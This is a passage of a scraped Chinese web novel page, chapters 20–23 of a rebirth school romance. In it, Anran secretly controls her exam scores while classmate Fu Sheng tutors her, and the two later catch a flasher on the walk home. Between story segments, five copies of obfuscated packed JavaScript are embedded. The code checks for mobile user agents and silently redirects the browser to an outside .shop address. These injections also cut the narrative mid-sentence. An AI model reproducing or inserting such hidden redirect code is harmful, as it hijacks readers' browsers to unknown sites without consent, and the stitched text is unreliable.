;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526313|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校。 事实证明傅笙不愧是年级第一,不光自学能力好,教人的水平也特别好,哪怕安苒每一个知识点都会,但是听傅笙讲过一遍后,还是会觉得受益匪浅。 一开始,傅笙只是指导她数学,不知道从哪一周开始就发展到其他几门功课上了。 等一个上午结束,安苒觉得脑袋都转累了。 她有气无力地趴在桌上,软绵绵地抱怨:“手好酸啊。” 傅笙下意识看了眼她的手腕,莹白细瘦,不堪一折,他认真反思了下今天上午的做题量,觉得尚可,但话到嘴边,还是改口了:“下次会少点的。” 安苒晃了晃手,努力爬起来:“不要,快要期中考试了,坚决不能放松!” 她从包里摸出两块巧克力,递了一块过去:“我都学饿了。” 傅笙没拒绝,自从那个误会之后,他就很少拒绝安苒的东西了。 两人从教室出来往外走,安苒快走了几步,绕到傅笙前面然后又转过来问他:“如果我期中考试没有考好,你会不会失望?” “不会。” “为什么?努力这么久没有看到成果,肯定会失望。” 傅笙想了想道:“也可能是因为我没有教好。” 他觉得安苒很聪明,所有的问题几乎都是一点就透,几乎不怎么用他费力去解释,所以排除掉对方不努力外,就只能是他的原因了。 安苒听完这通十分自洽的逻辑,一边往后退着走一边笑道:“好有道理啊!” 她眨了眨眼,问道:“那你觉得我能考第几?” 傅笙想都没想:“第一。” 安苒没觉得意外,傅笙对她的补习比起暑假要系统得多,她就算再怎么装不懂,这么久的一对一补课,傅笙也该看出来了。 而且不光是数学一科,她所有的学科,都在傅笙的预估之内。 但她不会考第一的,突如其来的进步只会让徐梅对她产生不必要的期待,随即而来的就是高强度的管控,她不想去承担那份高压,所以只提高一点点就够了。 她对傅笙笑了下:“那我一定努力。” 20. 第 20 章 期中考试如期进行,安苒认真控分。 成绩出来后,她的班级排名进了前十,但也只是在前十的边缘,险险缀在第九名上,比排第十的同学只多了三分。 安苒对此十分满意,在心里小小得意了下自己炉火纯青的控分技术。 果然,不管什么事做多了都会得心应手的。 卢佳慧这次没考好,不过对方一点都没担心自己,反倒是很担心她会挨打:“要不你今天别回去了,去我家吧,到时候让我爸给你家打个电话怎么样?” 卢佳慧越说越觉得可行,她不知道安苒上次被打是因为傅笙,还以为是成绩的缘故。 安苒摇头拒绝了,让卢佳慧放心:“不会有事的。” 她单手托腮,看着自己的成绩单,觉得这一次比起她妈,傅笙更难应付一点。 不过周六之前,她还见不到傅笙,所以有充足的时间找借口,安苒拿着笔在纸上一连写了好几个理由,然后又皱着眉挨个划掉了。 安苒用笔抵了抵下巴,有点头疼,要找出一个能完美说服傅笙的理由实在不容易。 等到周六下午的时候,傅笙来给她送卷子,果然问了她的分数。 安苒踌躇了下,将自己各科的分数都报了一遍,然后不出意外地看到了傅笙冷下来的表情,她咬了下唇,低着头小声道:“对不起。” 她认真想了一周,觉得与其狡辩,不如直接认错。 傅笙都愿意给她讲课了,自然也会原谅她没考好的,更何况她的确也进步了,只是没能达到他的预期罢了。 安苒垂头站着,样子有点可怜。 傅笙不自觉地皱了下眉,期中考试的各科题目都不难,哪怕安苒有粗心,失误,也不应该和他预估的成绩差这么多。 他像个尽职尽责的老师,对安苒道:“明天上午把所有的考试试卷都带上。” * 星期天,安苒特意早到了一刻钟。 在傅笙来之前,她已经开始写卷子了,像是知道自己做错事后努力找补的乖乖仔。 只不过她的焦虑和担心是装出来的,甚至没有好好演,十分浮于表面,全仗着傅笙对情绪的感知不明显。 教室外脚步声响起,安苒抬头笑了下:“你来啦!” 傅笙点头在一旁坐下,没管其他事,直接拿过已经摆在桌上的试卷翻了起来。 安苒一开始只是偶尔看一眼,过了一会儿就变成光明正大地偷瞄了,傅笙的表情有点儿严肃,看起来实在赏心悦目,她视线落在傅笙垂下的眼睫上,忍不住想这么细密的眼睫能不能撑住一颗黄豆? 应该能吧…… 就在安苒胡思乱想的空档,傅笙看完了她的试卷。 原本抿起的唇角又绷紧了一点,傅笙看着手里的卷子,那些写错的题目不是粗心,只是单纯做错了,他不能理解,因为在考试前,安苒做这些题型的时候明明还是对的。 他足足想了两分钟,没找出答案,准备问一问安苒。 结果刚侧过脸便撞上了安苒的视线,原本紧绷的神色忽地滞了下,缓和了几分。 傅笙问道:“这些题为什么都不会了?” 安苒小声道:“考试的时候太紧张,就忘了。” 她低着头,声音听起来十分内疚:“要是全写对的话,就能排到第一了,现在的分数离进尖子班还差好远。” 傅笙道:“还有期末的大考。” 安苒咬了咬唇:“可是最后是算平均分的,就算期末考得好,应该也还差不少分。” 她说着说着,声音更小了,最后的几个字几乎轻得听不清。 傅笙看着她,突然问道:“安苒,你为什么会紧张?” 安苒:“我……我不知道……” 傅笙:“是因为我吗?是考试前那周我说的话给你压力了,对吗?” 他语气很笃定,虽然用的是问句,但问题的答案已经有了,因为除此之外没有别的可能了。 安苒愣了下,过了会儿才道:“你好像很希望我能快点考进尖子班,给我补课也是这个原因,我不想让你失望。” 这回轮到傅笙愣住了,他确实希望安苒能进尖子班,也确实为了达到这个目的才选择给安苒补课的,但他没想到这么做会给安苒造成压力。 明明急切的人是自己,是他想要安苒和他在一个班,他不该把压力转嫁到安苒身上。 傅笙认真考虑了下自己从尖子班掉下来的可能性,他可以在期末的时候交白卷,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531236|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算掉下来也很难进安苒现在的班级。 他问安苒:“你想进尖子班吗?” 安苒点头。 傅笙道:“高二和高三加起来一共有三次滚动的机会,不用着急,而且就算最后都没进尖子班也没关系,只要成绩有提升就行了。” 比起在学校找到安苒的那天,他已经没有那么急切地想要每天都能看到人了,虽然他还是想在尖子班见到安苒,但这些没必要和安苒说。 傅笙道:“你不用有压力。” 安苒抿了抿唇:“那你还要给我补课吗?” 傅笙点头。 安苒这才松了口气,肩膀落了下去:“我还以为你要生我的气了,你刚才看试卷的时候表情好可怕。” 傅笙俨然第一次听别人形容这么他,整个人都呆了呆:“可怕?” 安苒点头,又笑了一下:“不过现在已经不可怕了。” * 这周之后,补课照常进行。 天气渐渐转凉,安苒突然怀念起在孙老师家的时候,虽然人多但是挤一挤一点都不冷。 不过这个念头只冒出来了一小会儿,在傅笙给她讲题时就彻底消失不见了,要是还在孙老师家,别说讲题了,连讲句话都要等合适的时候。 她发现傅笙虽然不喜欢吃甜的,但是她给的东西,对方基本来者不拒。 上回她爸安建军又带了不少巧克力回来,她和傅笙吃了大半年,终于快解决了,消灭完最后两块,年底悄然而至。 今年农历新年的日子是在一月初,比去年要早,所以期末考试的时间也比往年早。 考试前的最后一个周日,天色有点阴沉。 上午补课结束,傅笙问她:“你寒假还会去图书馆吗?” 安苒摇头:“不知道。” 她会不会去图书馆要看徐梅会不会强迫她去补课,而且安城的冬天有点冷,图书馆的借阅室太空旷了,看起来会更冷。 她问对方:“你今年还不在安城过年吗?” 傅笙点头,问她想要什么。 安苒眼睛一亮:“这是要给我带新年礼物的意思吗?” 傅笙嗯了一声。 安苒笑了起来:“随便什么都好。” 21. 第 21 章 期末之后,虽然还要上几天学,但已经没课了。 安苒本来以为她和傅笙在寒假结束前是见不了面的,所以完全没有把期末考试的成绩放在心上,毕竟等下学期开学,已经是一个月后的事了。 安苒完全没想到傅笙会特意来找她,结果正好撞上她和卢佳慧在走廊里说笑。 她表情顿时僵在了脸上,不等卢佳慧说话,直接拉着傅笙去了楼梯转角,问道:“你怎么来了?是找我有事吗?” 傅笙开门见山:“考了多少?” 安苒眼皮跳了下,她就知道傅笙要问这个! 她前阵子和傅笙相处太好了,以至于她都忘了对方其实是个冷漠强势的人,不会因为她撒娇示弱,就真的对她放任纵容。 安苒有点儿心虚,报了自己的班级排名:“第六。” 傅笙眉心皱了起来:“这次因为什么?” 安苒低着头看着自己的脚尖,小声解释:“数学卷子有点难,我有一题算得太久了,后面时间就不够了,所以分数有点差。” 她低头是怕傅笙从自己脸上看出端倪,她实在没多少内疚的情绪,不过心虚倒是真的。 傅笙看了她好一会儿,就在安苒以为对方要甩袖走人的时候,傅笙突然问道:“寒假能出来吗?” 安苒猛地抬头:“你寒假不走了吗?” 傅笙:“走的。” 他问安苒:“开学前两天我回来,你能出来吗?我们图书馆见。” 安苒有点犹豫:“图书馆那时候应该还在放假吧。” 傅笙道:“开门了。” 安苒看着傅笙笃定的表情,两秒后笑了起来:“好,那就开学前两天见吧。” 她转过身,嘴角就落了下去。 对方这么确定图书馆的开馆时间,一定早就问过了,所以傅笙是早就猜到她这次考的依旧不算好吗?还是傅笙已经看出来她是故意的了? 安苒皱了皱眉,觉得不太可能,如果傅笙看出来,就不会再来找她,傅笙会直接单方面断绝和她的关系,然后将所有和她有关的东西都排斥在外,她根本不会有再和傅笙说话的机会。 安苒在回教室的几步路上,脑子转得飞快,确定自己没露什么破绽后,放下心来。 她刚迈进教室,就被等在门口的小卢同学堵住了。 卢佳慧:“说,傅笙找你干什么?” 安苒实话实说:“来关心一下我的期末成绩。” 卢佳慧皱了下脸:“这也太不对劲了,傅笙怎么可能特意下楼就是为了来问成绩啊,而且你们什么时候这么熟的?” 安苒道:“我们在一个补习班上课啊,孙老师托他来问一下大家的考试成绩。” 卢佳慧哦了一声:“这还差不多。” 安苒看着她恍然大悟的表情,忍不住笑了起来:“差不多什么呀,难道我和傅笙就不能真的很熟吗?我妈和周阿姨还是同事呢。” 卢佳慧点头:“对哦” 然后忽然震惊道:“那你和傅笙岂不是算青梅竹马?!” 安苒摇头:“在初一同班前,我们都没见过面。” 卢佳慧很奇怪:“为什么啊?” “你们都没有去厂里玩过吗?或者放假的时候待在厂里办公室写作业?” 安苒接着摇头:“没有。” 如果不是她有意靠近,她和傅笙的关系就只是叫得出名字的陌生人,听起来很不可思议,但他们上辈子确实是这样。 安苒想,如果他们能早一点同班,她或许会傻傻地接近对方。 但是直到初一,他们才被分到一个班,而在见面之前,她就已经因为傅笙这个名字挨过很多次打骂了,排斥和厌恶早就刻在了骨子里。 卢佳慧还在可惜,畅想她和傅笙如果一出生就认识的话会怎么样,卢佳慧道:“说不定你们还定娃娃亲呢!” 安苒撑着下巴装模作样地想了想,然后认真点了点头:“没准呢。” 两个人对视了眼,双双笑作一团。 * 寒假放假的第一天,安城就下了雪。 安苒难得睡了个懒觉,出门的时候已经快九点了。 外面的雪不大,落在身上没一会儿就化了,地上也只积了薄薄的一层,看起来撑不了多久就会变成雨水。 安苒是出来买早饭的,本来家属区的门口就有,但是她特意绕了点路,去了另一条街的早餐店,傅笙今天去京市,说不定还能遇上对方。 安苒抱着无所谓的心态,在店里慢悠悠地喝完了豆浆。 她付完钱出来,正想着不会遇见傅笙了,就看见马路对面停着的车,车窗落下一点,透过缝隙往里看,就看到了傅笙半张优越的侧脸。 原来京市那边有人来接,安苒视线往车头的方向瞥过,车标她不认识,但是上辈子她见过,只知道很贵。 安苒眨了眨眼,原来对方还是位少爷啊。 她没什么感触,除了有点好奇傅笙为什么没在京市念书,而是留在了安城,她记得小学五年级的时候,傅笙似乎在京市待过半年。 她之所以记得这么清楚,是因为那半年,她难得不用在考试成绩出来后提心吊胆地回家。 虽然当时她不知道原因,但现在想来,傅笙应该是被接去京市了。 不过好景不长,对方半年后又回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534011|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 安苒撇了撇嘴,看着轿车慢慢启动开远,她希望傅笙不要把自己的存在告诉别人,毕竟她的计划还没进行到一半呢,实在不想现在就折戟沉沙。 回去的时候,雪落得大了些。 安苒抬头看了看天,然后撑着伞,慢悠悠地走回去。 她整个寒假都十分安逸,主要原因是徐梅没有给她报补习班,因为寒假时间太短了,出去补课不如在家自学。 除夕夜,安苒听着窗外零点响起的鞭炮声,在心里默默对自己道了声新年快乐。 这是她重生回来过得第二个新年,总的来说,还算满意。 过完年,从初五开始,安苒每天醒来都要看一遍日历,终于到了和傅笙约好的那一天,安苒早早就醒了,在徐梅上班后跟着出了门。 等安苒坐上公交,才后知后觉地想起来自己根本没和傅笙约具体时间,只约了日子。 她不用这么着急,就算下午去,也不算迟到。 不过,来都来了。 安苒从站台下车,往图书馆走,刚进门就撞见了前台的阿姨。 对方热情地招呼道:“你哥去借阅室了,刚上去。” 安苒笑了下,唇角翘了起来。 她特意放轻脚步,在第二排书架中间找到了人,然后轻轻一拍:“傅笙!” 对方转过身,表情平静,只是眼里夹着点细碎的笑。 安苒稍显不满:“怎么没被吓到啊?” 傅笙道:“我听见你的声音了。” 他把书放回书架上,和安苒一起回到大长桌旁,然后把书包旁边的一个礼品袋递了过去。 安苒接过时,没听到什么声音,袋子不算小但东西并不重。 她没立刻打开:“我猜猜看,是不是围巾?” 说完,就看到傅笙的表情愣了下,于是心满意足的笑了起来,刚才没吓到人的小失望立刻得到了填补。 安苒围巾从袋子里拿出来,粉灰的配色和暖又温柔,摸起来十分柔软舒服。 安苒眨了眨眼,有点不敢信这是傅笙送的,因为配色过于好看了。 她歪头问道:“是你挑的图案吗?” 傅笙摇头:“家里的长辈。” 他没具体说下去,安苒就没有再问。 她抖了抖围巾,学着杂志上的样式绕在脖子上,笑盈盈地问道:“好看吗?” 傅笙视线落在她的脸上,安苒尖尖的下巴埋在宽大围巾里,显得整张脸更加小巧精致,原本莹白色的肌肤因为寒气冻得有些红,却并不夸张,鼻尖两颊的红色恰到好处。 他视线停了几秒,然后点头:“好看。” 22. 第 22 章 高二下学期开始,实验开始上晚自习。 放学时间从五点半改成了九点半,好消息是作业量减轻了。 这回消息出来倒没有引起什么抱怨,安苒发现班上不少同学还隐隐有些高兴,包括她的同桌小卢同学。 卢佳慧兴奋道:“我还没这么晚回家过呢,而且在学校做卷子比在家里效率高多了,之前作业带回家,我能磨蹭到十一点。” 她歪头问道:“安苒,你不喜欢上晚自习啊?” 安苒想了想:“不喜欢。” 她没什么特别偏好,但上辈子高二的有天晚上,晚自习放学,她在半路遇到了一个露阴癖的变态,在对方敞开大衣露出底下赤裸的身体时,她快吓疯了。 当时,她站在原地愣了足足好几秒才反应过来,然后拼命跑回家,心提在嗓子眼,一直冲进门才落回去。 到家后,她把事情告诉她妈,想要对方在晚自习后来接她,她妈答应了,也确实来接她了,但只来了五天,甚至连一周都没坚持下来,就又让她一个人回家了。 之后,她又撞见过一次那个变态,但这回她没有再告诉她妈了,不是不害怕,是知道说了也没有用。 从那之后,她每一次晚自习下课,都会提着一口气走完学校到家的路。 后来上了大学,她从学姐那里知道了这种变态并不可怕,她完全可以反击回去,她才慢慢克服了黑夜恐惧。 安苒又努力想了想,但是实在记不起来是哪一天遇到变态的了,只记得那会儿天气应该还有点凉。 安苒道:“放学回去的路上,要注意安全。” 卢佳慧摆摆手:“没事,我家离得远,到时候我爸肯定要来接我的。” 安苒想想也是,于是放下心来。 不过这会儿,家长能来接送的不多,一个班也挑不出几个,上下学都靠自己,离得近的走路,远一点的就骑车,所以班主任在宣布上晚自习后,又特地强调了好几遍安全事项,就差耳提面命了。 开学第一回晚自习,九点半下课。 安苒出校门时没什么表情,她上辈子就已经不怕了,现在自然不会被影响。 只不过二月的夜风实在太冷了,吹过脸上的皮肤,像是被用刀刮过一样,生冷刺痛。 安苒脖子上围着傅笙送的新年礼物,她把半张脸埋了进去,感受到一片和暖,旁边路过的女同学看了她好几眼,终于鼓足勇气上来问,围巾是在哪里买的。 安苒摇头:“我也不知道,是朋友送的。” 对方有点可惜,但又实在喜欢:“那能帮我问一问你朋友吗?” 安苒道:“他不是安城人。” 对方露出一抹失望的神色,这回没有再问了,不过临走前夸道:“这条围巾特别好看,你朋友眼光真好。” 安苒笑了笑:“谢谢,我也觉得。” 可惜,她不知道是傅笙的哪个长辈挑的,不然一定在心里默默转达。 安苒到家时,接近十点,徐梅已经睡了。 家里没有留灯,安苒在门口站了会儿,适应了眼前的漆黑,然后在墙上摸索了下,找到开关打开了客厅的灯。 她换好鞋,洗漱后又做了张英语练习题,然后熄灯睡觉。 * 第二天,上学。 班里不少同学都是空着手来的,因为作业已经在前一天的晚自习上写完了。 卢佳慧放下书包,高兴道:“作业在学校写完真是太棒了!学校怎么没早点上晚自习,今天我也不背书包了!” 安苒想说,等过半个月,除了在晚自习上完成的卷子外,回家还会有其他的作业要做,不过不会很多,而且做不完也没事。 她看了眼正前后分享喜悦之情的小卢同学,没打击对方的幻想。 很快一周结束,到了周末上午。 安苒背着书包去学校,等她到教室的时候,傅笙已经在位置上了。 她见傅笙一直在看她,问道:“怎么了?” 傅笙犹豫了下:“徐阿姨有没有问围巾的事?” 他是送完之后,才意识到自己送的东西恐怕不好隐藏,安苒的母亲不喜欢他,上次因为误会还动手打过安苒,所以他有点担心。 安苒摇头:“没关系,要是真的问起来,我说是卢佳慧送的就行了。” 实际上,她已经在脖子上戴了一周了,但是她妈根本没有注意到,所以傅笙是在杞人忧天,安苒问道:“难怪周二体育课的时候,你朝我们班看了几眼,是因为担心我吗?” 傅笙点头。 安苒很高兴地笑了起来,只不过唇角抬到一半突然止住了,表情颇为纠结。 这回轮到傅笙问了:“怎么了?” 安苒鼻尖皱下,想了会儿还是摇摇头道:“没什么。” 她把书拿出来后,傅笙还在看她,虽然没说话,但表现出的意思再明显不过,安苒本来想当做没看见,但是有些顶不住对方的视线,没一会儿就缴械投降了。 她抿了抿唇,问道:“以后放学,你能不能等我一起?” 大概怕被拒绝,安苒问完又赶紧找补了两句:“反正我们家离得也不远,只是最后一段路不同,前面那一段步行的话,耽误不了多少时间的。” 傅笙看着她:“你怕黑?” 他想起高一的时候,有一次补习班调到晚上,对方也让他陪着走了一段路。 安苒摇头,像是想到了什么不好的事,脸色有点发白,她犹豫了好一会儿,才低下头小声道:“我上周在回家的路上遇到变态了。” 她眉心死死拧着,声音有些发颤:“傅笙,你陪我走一段路好不好?我……” 她还没有说完,就被傅笙打断了,对方点头:“好。” 安苒像是没反应过了,她眨巴了下眼睛,表情愣愣的:“你真的答应了?” 傅笙嗯了声:“以后我在校门右边的那颗榕树旁等你。” 安苒的眼睛陡然亮了起来:“嗯!” 她唇角一扬梨涡露了出来,热烈吹捧道:“傅笙,你真的太好了!” 于是,从周一开始,安苒放学就不再是一个人回家了,身边多了个‘护花使者’,当然这个称号傅笙不知道,是她自己擅自给对方封的。 两人第一次一起回家时,傅笙就问了她遇见变态的位置,安苒照实说了。 她虽然记不得具体是哪一天,但是大概在哪遇见还是记得的,就在他们分开前的那小半条街,因为没有路灯,所以格外昏暗。 她说完后,傅笙点了点头,却没有分开走,而是坚持送她到楼下。 安苒不想他送:“那你不是要绕路?” 傅笙道:“骑车很快。” 安苒拒绝了:“那也要多浪费六七分钟的时间。” 傅笙:“六七分钟而已。” 两个人都十分坚持,最后还是安苒败下阵来,率先妥协,主要因为她是被送的那个,一直拒绝的话显得有点不识好歹,十分理亏。 安苒默默猜,傅笙大概多久会厌烦。 她妈徐梅接了她五天,傅笙应该会久一点吧。 她猜得没错,但傅笙不止久了一点,而是久了许多,一直到开春,对方仍旧每晚送她回家。 安城的春天很短,两场雨过后天气渐热,周二的体育课,班上已经有男生穿短袖了,当然穿棉服的也有,总之很混乱。 安苒以为遇不到上辈子那个变态了,毕竟重生之后的事也不是每一件都一样的。 她想着,要不要跟傅笙说,‘护花使者’的工作可以结束了。 万一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538193|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅笙只是碍于面子,不好意思自己开口提呢,那她一直要对方护送,岂不是会造成反效果? 安苒打算今晚放学之后问一问。 她心不在焉了一整个下午,晚自习一结束,安苒就出去了。 今天是她先到校门口的榕树旁,等了两分钟左右,傅笙才推着单车出现。 他们才刚走出学校大门的范围,安苒就等不及开口了:“明天不用等我了,我可以自己回去。” 她一脸认真地陈述自己的理由:“这么久都没有遇见那个变态,之后大概也不会再遇到了,而且就算遇见,我也可以大喊救命,或者跑回校门口。” 她道:“那个变态只是有点恶心,但应该不会有胆子攻击人的,所以很容易脱身。” 她说完,望向傅笙,等着对方说好,只是等了好一会儿也没等到对方答应。 傅笙问她:“万一做不到呢?” 安苒疑惑:“什么?” 傅笙难得说了段长话:“你假设的只是最理想的情况,但万一遇见后被吓到,喊不出也跑不动,要怎么办呢?” 安苒想反驳,但说不出话来,因为她上辈子确实被吓到,愣在原地,什么都做不了。 傅笙问道:“你在烦我吗?” 安苒忙摇了摇头。 傅笙:“是有人说了什么,还是徐阿姨看到我们走在一起了?” 他把能猜到的理由都问了一遍,但安苒一直在摇头,傅笙实在不解:“那为什么不想要我送你呢?” 安苒垂着眼,盯着自己的鞋面:“我怕你不耐烦。” “没有不耐烦。” 傅笙停下脚步:“我如果有不想做的事,那从一开始就不会答应。” 安苒听明白了他的言下之意,语气轻快地嗯了声。 就在她想着要不要道个歉,因为她能感觉到傅笙刚才的语气有点微妙的不高兴,不是因为她不想让他送,而是因为她给出的理由。 只是还没等她开口,傅笙突然停了下来。 安苒有些疑惑地抬眼朝前面望去,然后呼吸骤然一紧,她看到了上辈子的那个变态。 傅笙同样看到了,并且第一时间就认了出来,因为那人身上裹着又厚又长的棉服,小腿往下却是光裸着的。 安苒有一瞬间升起一股冲上去暴打对方一顿的冲动,及时按捺住了。 傅笙声音又轻又快:“回去学校,去门卫室报警。” 安苒:“那你呢?” 傅笙:“我在这里看着,不能放他跑了。” 眼看安苒还在犹豫,傅笙轻轻推了她一下:“他还没看到我们,快去!” 安苒深吸了一口气,丢下书包转身朝着学校跑去。 这大概是她平生最快的速度,喘得像是破风箱,她来不及缓气:“伯伯,我要报警!” 门卫室的大爷等她打完报警电话,提着木棍就陪她过去了:“我倒要看看,哪个变态敢来吓唬小娃娃,看我不把他腿打断!” 安苒看了眼那根有她小腿粗的木棍,感受到了前所未有的安全。 她领着大爷过去,那变态还在。 只是快要靠近时,动静还是惊动了那人,对方来不及提裤子就跑,安苒和傅笙同时冲了过去,最后是傅笙把人按住的。 大爷紧赶慢赶跑来,先把安苒往后拉了下:“你这个女娃娃跑什么,快往后站站,别乱看。” 说完,一棍子敲在那变态腿上。 安苒听着对方的嚎叫,只觉得牙酸,门卫大爷果然说到做到! 二十分钟后,警察匆匆赶到。 安苒看着对方被押送上了警车,心口有一块石头落了下来。 她露出一个真心实意的笑来:“真好。” 傅笙看着她,也跟着笑了下。 23. 第 23 章 案件结果很快就下来了,对方果然是个心理不正常的变态。 安苒本来以为事情已经结束了,没想到几天后,她和傅笙就收到了警局送来的见义勇为的奖状。 学校对此十分重视,教导主任把两人喊过去大力表扬了一番,又在周一的升旗仪式上做了个宣讲。不幸中的万幸,教导主任没有当着全校师生的面点名,不然安苒要后悔报警了。 但就算如此,也挡不住广大同学的好奇心。 尤其是爱好八卦的小卢同学,对方出去打听了一圈,回来后兴致勃勃地分享:“听说被表扬的两个同学是一男一女,你说他们当时会不会正好在约会?” 安苒木着脸:“不会。” 卢佳慧问道:“为什么?我觉得很有可能啊。” 安苒道:“谁会在放学之后约会,太晚了,而且路上还那么黑,都看不见脸。” 卢佳慧道:“说不定是家住得很近,所以一起回家啊。” “那也可以是普通同学。” “那就不会一起走了。” 安苒说不过她,选择闭嘴。 卢佳慧得意道:“你也觉得我说得有道理吧!” “……嗯。” 晚上放学,安苒兴致缺缺道:“再讨论下去,就要被猜出来了。” 傅笙不理解她的烦恼:“被猜出来会怎么样?” 安苒忍不住叹了口气:“会很烦,会被追着问细节,还会被问我们为什么要一起走。” 傅笙想了想,确实会这样,但他从安苒的语气里听出了几丝微妙的嫌弃,从很早之前,安苒就不想在学校里和他表现得很熟,现在依旧如此。 他想不明白,所以直接问了。 安苒道:“会被误会的。” 她认真和傅笙解释:“如果表现的太亲近,会被同学误会我们在谈恋爱,更何况你还是全校第一,谣言止都止不住。” 傅笙:“可以不用在意。” 安苒:“可是我会很苦恼,我不喜欢被关注。” 不过好在这件事没有被讨论多久,很快就被其他八卦取代了,十六七岁的少年人永远不缺新的故事,安苒为此大大松了口气。 傅笙依旧每晚等她一起走,然后先送她回家,再骑车离开。 安苒这回没再拒绝,同样的事拒绝一次就可以了。 其实算上周日上午的补课,她和傅笙每一天都有见面,如果不出意外,这样的状态会一直持续到高三结束。 但是安苒不想保持不变,她高三准备进尖子班了,最重要的一年怎么能分开呢。 期中考试的时候,安苒成绩进了班级前三。 高三的这次分班滚动是按照一整年的成绩算的,只是权重不同,傅笙帮她算了下几次大考的平均分,最后得出来的结果是,如果安苒期末能考到班级第一,就能进。 但并不是确保一定,这个第一分数要高。 安苒扒拉了下草稿纸,看着上面被红笔圈出来的分数,小小地叹了口气:“要是上学期的考试没有失误就好了。” 她惋惜难过得过于真心实意。 傅笙丝毫没有怀疑其中会有猫腻,在他看来,安苒上学期就能做到了,只要正常发挥就行。 他看了眼安苒,到底没把话说死,怕影响到安苒的情绪,所以只简单道:“这个分数不难考到。” 安苒握了握拳,认真表示自己一定努力。 五月下旬,安城彻底入夏,到处都是郁郁葱葱的绿色。 明明上个月,街道两旁还能看到不少落叶,现在已经全部长出了新芽。 那条粉灰色的围巾被安苒洗干净,收进了衣柜最里面,等下次再拿出来的时候,她就已经升高三了。 安苒在每一门书的封面内页都写了个具体分数,就是傅笙帮她算好的那个。 是不难做到,但她怕自己忘了。 在学校里,安苒一切照常。 她之前虽然在成绩上故意考差过,但上课从来没有敷衍马虎,毕竟她又不打算装一辈子,高考还是要好好考的。 期中之后,几次非正式的小测,安苒的成绩都不错,一直保持在第一的位置。 试卷发下来,安苒扫了一眼就收起来了,那几道错题她也会。 卢佳慧眼明手快地按住,她翻了翻试卷,又朝安苒看了眼,最后犹犹豫豫地问道:“安安,你高三是不是准备进尖子班了啊?” 安苒有点诧异卢佳慧的直觉,她点了下头。 卢佳慧嘴巴撅了起来:“那我们下半年岂不是就不能做同桌了!” 她夸张地哀嚎了一声,然后整个人恹恹地瘫在桌上。 教室陡然一静。 安苒脸都红了,感觉给她打气:“这些小测不算的,万一最后考不上呢。” 卢佳慧唰一下直起身子:“怎么可能!” “就算哄我,也不能说瞎话啊!” 安苒差点被她逗乐了,如果说傅笙相信她能考进去,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540013|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科学有依据的,那小卢同学则完全没有,只是盲目且坚定地相信她。 卢佳慧很快接受了明年不能在一个班的现实,开始担忧起其他事情来:“那你最近要好好学习吧,我是不是不能拉着你讲话了?” 安苒笑道:“哪有那么夸张,你不是很相信我吗?” “那不一样,我这是让你提前感受一下尖子班的氛围,万一进去不适应怎么办,现在还可以提前反悔。” “那你是想我反悔呢,还是不想呢?” “当然想让你考进去啦。” 虽然安苒说不用注意什么,和平时一样就行了,但是卢佳慧还是有意识地停止了许多玩闹行为,具体体现在大课间以及晚自习上陪安苒一起刷题,结果就是这一次的月考,她的成绩也跟着提高了不少。 卢佳慧:“早知道我也早点努力了,说不定也能够一够尖子班呢。” 安苒鼓励她:“可以高三下学期考进来啊。” 